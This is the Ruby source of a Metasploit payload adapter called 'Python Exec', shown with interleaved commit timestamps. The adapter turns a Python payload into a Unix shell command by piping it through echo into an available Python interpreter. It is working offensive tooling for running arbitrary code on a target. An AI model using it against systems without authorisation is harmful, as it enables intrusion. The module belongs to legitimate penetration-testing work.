2022-02-23 12:17:59 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf :: Payload :: Adapter
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Python Exec' ,
2022-02-24 09:04:51 -05:00
'Description' = > 'Execute a Python payload from a command' ,
2022-02-23 12:17:59 -05:00
'Author' = > 'Spencer McIntyre' ,
'Platform' = > 'unix' ,
'Arch' = > ARCH_CMD ,
'License' = > MSF_LICENSE ,
'AdaptedArch' = > ARCH_PYTHON ,
'AdaptedPlatform' = > 'python'
)
)
end
def compatible? ( mod )
if mod . type == Msf :: MODULE_PAYLOAD && ( mod . class . const_defined? ( :CachedSize ) && mod . class :: CachedSize != :dynamic ) && ( mod . class :: CachedSize > = 120_000 ) # echo does not have an unlimited amount of space
return false
end
super
end
2022-11-04 00:33:03 +00:00
def generate ( _opts = { } )
2022-02-23 12:17:59 -05:00
payload = super
if payload . include? ( " \n " )
payload = Msf :: Payload :: Python . create_exec_stub ( payload )
end
" echo #{ Shellwords . escape ( payload ) } | exec $(which python || which python3 || which python2) - "
end
end